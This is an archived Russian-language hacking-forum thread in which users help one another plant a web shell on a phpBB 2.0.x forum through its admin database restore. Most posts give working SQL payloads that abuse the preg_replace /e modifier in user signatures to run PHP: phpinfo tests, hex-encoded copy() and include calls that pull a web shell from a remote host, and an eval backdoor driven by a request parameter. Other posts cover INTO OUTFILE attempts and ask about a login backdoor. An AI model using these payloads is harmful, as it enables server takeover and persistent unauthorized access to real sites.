PDA

Просмотр полной версии : заливка shell - phpbb2


number0
17.04.2008, 18:59
Здраствуйте! Версия форума 2.0.22 чистый (без модов). Что есть:
1. админский акуант (доступ в админку)
2. серверный путь к форуму
3. config.php
ftp доступа нету. =( БД не root.

Собственно вопрос... как загрузить shell ?

Sleep
17.04.2008, 19:04
глянь
https://forum.antichat.ru/thread24488.html
и тут на ачате видео еще было по заливки шелла через бд

vp$
17.04.2008, 19:07
если file_priv=N
то никакое видео не поможет, и врятли что то можно сделать

Scipio
17.04.2008, 19:20
несколько раз заливал через
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:phpinfo()' WHERE user_id=2;
но при этом у меня всегда был доступ к БД, через phpMyAdmin
насчет твоей версии незнаю

number0
17.04.2008, 19:29
на форуме майскл имеет права file_priv=N

Scipio
17.04.2008, 19:32
для того способа который я сказал file_priv не имеет значения

number0
17.04.2008, 19:39
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:phpinfo()' WHERE user_id=2;

Да, сроботал. PHP Version показало.
мм.. может уже есть и готовый шелл под скрипт выше указаный? С99 хотелось бы...

Scipio
17.04.2008, 19:44
в user_sig пропиши phpbb:copy("http://путь до шелла/шелл.txt","/путь до папки/куда лить/шелл.php")

number0
17.04.2008, 19:59
UPDATE phpbb_users SET user_sig_phpbb:copy=("http://192.168.10.5/db.txt","/var/www/html/forum/db.php") WHERE user_id=2;

Не дало востановить БД. Где-то ошибочку допустил.. подправте пожалуйста.

SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near

Scipio
17.04.2008, 20:04
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig=0x70687062623A636F70792822687474703A2F2F3 139322E3136382E31302E352F64622E747874222C222F76617 22F7777772F68746D6C2F666F72756D2F64622E7068702229 WHERE user_id=2;

не забудь пробелы убрать здесь:
F2F3 139322E3136382E31302E352F64622E747874222C222F76617 22F

number0
17.04.2008, 20:16
Scipio я так понял тут привязка пошла к 192.168.10.5 ? Походу да.. не вышло. Возможно из-за того что 192.168.10.5 в другой под сети...
Если не трудно. то пожалуйста зделай под IP 10.0.0.5

Scipio
17.04.2008, 20:20
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig=0x70687062623A636F70792822687474703A2F2F3 1302E302E302E352F64622E747874222C222F7661722F77777 72F68746D6C2F666F72756D2F64622E7068702229 WHERE user_id=2;
надеюсь на 10.0.0.5 поднят вебсервер?

number0
17.04.2008, 20:28
Конечно, стоит апач с подержкой пхп.
Сообствено написало что БД успешно востановлена... но при входе в "профиль" просто пустая белая страница.
И при заходе на /forum/db.php

The requested URL /forum/db.php was not found on this server.

Scipio
17.04.2008, 20:31
ну если все удачно прошло, то здесь /var/www/html/forum/ будет шелл с именем db.php

number0
17.04.2008, 20:32
Scipio читай выше.. (я пост просто отредактировал). Что-то видать не верно..

vp$
17.04.2008, 20:34
прочитайте пост #3 три раза
одно дело ты записываешь функцию в базу, а другое записывать файл с помощью базы, если прав на работу с файлами нет, хоть об стенку бейся ни че не выйдет!

Scipio
17.04.2008, 20:45
прочитайте пост #3 три раза
одно дело ты записываешь функцию в базу, а другое записывать файл с помощью базы, если прав на работу с файлами нет, хоть об стенку бейся ни че не выйдет!

да причем здесь это, заливка происходит средствами php а не mysql

2number0, возможно нет прав на запись в эту папку, ищи папку где точно есть права на запись, например можно попробовать папку с аватарами, попробуй так:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig=0x70687062623A696E636C7564652022687474703 A2F2F31302E302E302E352F64622E74787422 WHERE user_id=2;
это инклюд

number0
17.04.2008, 20:53
Успешно БД востановило... профиль по прежнему пустой. Собственно что должно было выполнится?

Scipio
17.04.2008, 20:59
должен был шелл http://10.0.0.5/db.txt проинклюдиться, db.txt- это точно полноценный вебшел?

number0
17.04.2008, 21:07
Да полностью роботает, использовал его не на одном сайте.

number0
17.04.2008, 21:25
Посмотрел логи апача... логи молчат. никаких соденений не устанавливалось на отдачу файлика db.txt

Nek1t
27.04.2008, 00:26
А что делать если profile.php просто нету?
Not Found
The requested URL /phpBB2/profile.php was not found on this server.

tmp
19.05.2008, 12:26
Схожая проблема, только чуть сложнее
2.0.21 чистый (без модов).
Админка есть
нулевой байт экранируется
мускуль-иньекция в скрипте ЦМС (не пхпбб)
чкрез восстановление БД - то же не получится, форум криво настроен, что нельзя сделать декап БД :( (оказалось что иногда криворукость помогает))))
Не пойму другого:
стараюсь делать через иньекцию INTO OUTFILE в */avatars/shel.php через CHAR или через 0x
Сервер мне только выдает строку в странице ту что после select но в файл не выводит
LOAD_FILE - вообще ни чего не выводит, но это я понял на всех хостингах, на моем тоже не выводит при чистом запросе из мускуль клиента.
Можно что то еще сделать по этим признакам?
спасибо
ЗЫ
Все работает!! Это я про експлоит Шанкара, рано разочаровался, то экранировало нул. байт в запросе SQL а через эксплойт все прошло! Вери гуд! :)

DiegoSun
01.06.2008, 13:32
Не могу найти тему. Если кто помнит подскажите. Как сохранить возможность в phpbb заходить под любым логином. Там надо было добавить код при авторизации (был нужен доступ по ftp)

$cr1pt
11.04.2010, 18:06
проще всего залить шелл:
создаем 1.sql cо следующим содержанием:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:eval(stripslashes($_REQUEST[c]));' WHERE user_id=2;

далее:
profile.php?mode=editprofile&c=copy('http://127.0.0.1/shell.txt','/home/home/public_html/forum/shell.php');

Всё готово ;)